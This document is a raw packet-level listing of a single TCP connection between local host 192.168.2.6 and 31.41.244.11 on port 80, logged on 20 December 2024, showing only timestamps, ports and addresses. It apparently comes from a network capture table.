Dec 20, 2024 17:43:20.084564924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.084597111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.084749937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.084790945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.085562944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.085608006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.085661888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.085711956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.086905003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.086949110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.087243080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.087282896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.088053942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.088104010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.088215113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.088258028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.089190960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.089236975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.089236975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.089278936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.090389967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.090437889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.090462923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.090506077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.091603994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.091656923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.091733932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.091777086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.092783928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.092835903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.092839003 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.092885971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.094037056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.094089985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.094279051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.094322920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.095201969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.095254898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.095788002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.095844984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.096581936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.096638918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.096669912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.096712112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.097626925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.097682953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.098284006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.098337889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.098824978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.098872900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.099200964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.099245071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.100123882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.100167036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.100637913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.100677967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.101208925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.101250887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.101583004 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.101633072 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.102597952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.102654934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.102680922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.102719069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.103852987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.103897095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.104434013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.104477882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.104795933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.104809999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.104835987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.104857922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108127117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108196974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108200073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108236074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108308077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108319998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108342886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108361006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108566999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108608961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.108633041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.108666897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.109778881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.109807014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.109854937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.110714912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.110764027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.110970020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.111011028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.112051010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.112097025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.112406969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.112445116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.113219976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.113257885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.113450050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.113486052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.114434958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.114475965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.114728928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.114763021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.115603924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.115644932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.115724087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.115767956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.116787910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.116830111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.117150068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.117187023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.117954969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.118012905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.118223906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.118258953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.119276047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.119329929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.119404078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.119446993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.120553017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.120610952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.120851994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.120896101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.122606993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.122661114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.122771978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.122809887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.123191118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.123235941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.124056101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.124109030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.124370098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.124411106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.124907017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.124953985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.125655890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.125694990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.125853062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.125889063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.126895905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.126931906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.127079964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.127110958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.128014088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.128051043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.128655910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.128694057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.129262924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.129298925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.129570961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.129602909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.130407095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.130459070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.131261110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.131339073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.131706953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.132031918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.132055998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.132077932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.132679939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.132719994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.132988930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.133037090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.134002924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.134047985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.134224892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.134258986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.135215044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.135294914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.135576963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.135615110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.136554956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.136595011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.136738062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.136776924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.137430906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.137470961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.138513088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.138556957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.138869047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.138887882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.138909101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.138926983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.140127897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.140295982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.140297890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.140350103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.141155005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.141202927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.141494989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.141531944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.142383099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.142422915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.142549038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.142585039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.143703938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.143745899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.143879890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.143918037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.144764900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.144804001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.145117998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.145158052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.146080971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.146130085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.146254063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.146287918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.275782108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.275856018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.275881052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.275918007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.276314974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.276350975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.276463985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.276552916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.277534008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.277585030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.277653933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.277687073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.278675079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.278738022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.279012918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.279055119 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.279925108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.279967070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.280158043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.280191898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.281100988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.281172037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.281182051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.281241894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.282267094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.282314062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.282319069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.282350063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.283446074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.283502102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.283643961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.283747911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.284800053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.284816027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.284848928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.284868002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.286147118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.286195040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.286253929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.286289930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.287197113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.287242889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.287266016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.287297964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.288239002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.288290977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.288476944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.288520098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.289452076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.289496899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.290003061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.290045023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.290633917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.290674925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.290978909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.291014910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.291783094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.291826010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.291908026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.291973114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.293025017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.293076038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.293117046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.293149948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.294460058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.294512987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.294683933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.294720888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.295394897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.295437098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.295475960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.295510054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.296581030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.296619892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.296654940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.296722889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.297789097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.297833920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.297913074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.297947884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.298976898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.299031019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.299443007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.299488068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.300158024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.300203085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.300260067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.300299883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.301311970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.301359892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.301507950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.301547050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.302561045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.302607059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.302745104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.302786112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.303739071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.303781986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.303832054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.303870916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.304902077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.304950953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.305325031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.305363894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.306102991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.306148052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.306197882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.306236029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.307398081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.307441950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.307570934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.307607889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.308563948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.308585882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.308614016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.308645010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.309710026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.309761047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.309766054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.309799910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.310945988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.310986996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.311038971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.311073065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.312144995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.312189102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.312587976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.312628984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.313316107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.313359022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.313539028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.313956022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.314507961 CET	80	49732	31.41.244.11	192.168.2.6
